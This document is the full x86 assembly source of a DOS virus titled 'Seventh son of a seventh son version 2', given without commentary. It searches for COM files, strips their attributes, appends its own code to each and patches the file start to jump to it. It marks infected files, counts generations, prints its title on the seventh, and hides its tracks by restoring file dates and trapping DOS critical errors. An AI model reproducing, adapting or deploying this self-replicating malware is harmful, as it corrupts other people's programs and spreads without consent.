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;****************************************************************************
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;* Seventh son of a seventh son version 2
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;****************************************************************************
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cseg segment
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assume cs:cseg,ds:cseg,es:cseg,ss:cseg
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FILELEN equ end - start
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MINTARGET equ 1000
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MAXTARGET equ -(FILELEN+40h)
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org 100h
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.RADIX 16
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;****************************************************************************
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;* Dummy program (infected)
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;****************************************************************************
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begin: db 4Dh
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jmp start
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;****************************************************************************
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;* Begin of the virus
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;****************************************************************************
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start: call start2
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start2: pop bp
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sub bp,0103h
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lea si,[bp+offset begbuf-4] ;restore begin of file
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mov di,0100h
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movsw
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movsw
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mov ax,3300h ;get ctrl-break flag
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int 21
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push dx
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xor dl,dl ;clear the flag
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mov ax,3301h
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int 21
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mov ax,3524h ;get int24 vector
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int 21
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push bx
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push es
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mov dx,offset ni24 - 4 ;set new int24 vector
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add dx,bp
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mov ax,2524h
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int 21
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lea dx,[bp+offset end] ;set new DTA adres
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mov ah,1Ah
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int 21
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add dx,1Eh
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mov word ptr [bp+offset nameptr-4],dx
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lea si,[bp+offset grandfather-4] ;check generation
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cmp [si],0606h
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jne verder
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lea dx,[bp+offset sontxt-4] ;7th son of a 7th son!
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mov ah,09h
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int 21
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verder: mov ax,[si] ;update generations
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xchg ah,al
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xor al,al
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mov [si],ax
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lea dx,[bp+offset filename-4] ;find first COM-file
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xor cx,cx
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mov ah,4Eh
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int 21
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infloop: mov dx,word ptr [bp+offset nameptr-4]
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call infect
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mov ah,4Fh ;find next file
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int 21
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jnc infloop
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pop ds ;restore int24 vector
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pop dx
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mov ax,2524h
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int 21
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pop dx ;restore ctrl-break flag
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mov ax,3301h
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int 21
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push cs
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push cs
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pop ds
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pop es
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mov ax,0100h ;put old start-adres on stack
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push ax
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ret
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;****************************************************************************
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;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
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;****************************************************************************
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infect: cld
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mov ax,4300h ;ask attributes
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int 21
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push cx
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xor cx,cx ;clear flags
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call setattr
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jc return1
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mov ax,3D02h ;open the file
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int 21
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jc return1
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xchg bx,ax
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mov ax,5700h ;get file date & time
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int 21
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push cx
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push dx
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mov cx,4 ;read begin of file
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lea dx,[bp+offset begbuf-4]
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mov ah,3fh
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int 21
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mov al,byte ptr [bp+begbuf-4] ;already infected?
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cmp al,4Dh
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je return2
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cmp al,5Ah ;or a weird EXE?
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je return2
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call endptr ;get file-length
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cmp ax,MAXTARGET ;check length of file
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jnb return2
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cmp ax,MINTARGET
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jbe return2
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push ax
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mov cx,FILELEN ;write program to end of file
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lea dx,[bp+offset start-4]
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mov ah,40h
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int 21
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cmp ax,cx ;are all bytes written?
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pop ax
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jnz return2
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sub ax,4 ;calculate new start-adres
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mov word ptr [bp+newbeg-2],ax
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call beginptr ;write new begin of file
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mov cx,4
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lea dx,[bp+offset newbeg-4]
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mov ah,40h
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int 21
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inc byte ptr [si] ;number of next son
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return2: pop dx ;restore file date & time
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pop cx
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mov ax,5701h
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int 21
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mov ah,3Eh ;close the file
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int 21
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return1: pop cx ;restore file-attribute
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; call setattr
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; ret
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;****************************************************************************
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;* Changes file-attributes
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;****************************************************************************
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setattr: mov dx,word ptr [bp+offset nameptr-4]
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mov ax,4301h
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int 21
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ret
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;****************************************************************************
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;* Subroutines for file-pointer
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;****************************************************************************
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beginptr: mov ax,4200h ;go to begin of file
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jmp short ptrvrdr
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endptr: mov ax,4202h ;go to end of file
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ptrvrdr: xor cx,cx
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xor dx,dx
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int 21
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ret
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;****************************************************************************
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;* Interupt handler 24
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;****************************************************************************
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ni24: mov al,03
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iret
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;****************************************************************************
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;* Data
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;****************************************************************************
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begbuf db 0CDh, 20h, 0, 0
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newbeg db 4Dh, 0E9h, 0, 0
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nameptr dw ?
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sontxt db 'Seventh son of a seventh son',0Dh, 0Ah, '$'
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grandfather db 0
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father db 0
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filename db '*.COM',0
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db '‚¨°³±'
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end:
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cseg ends
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end begin
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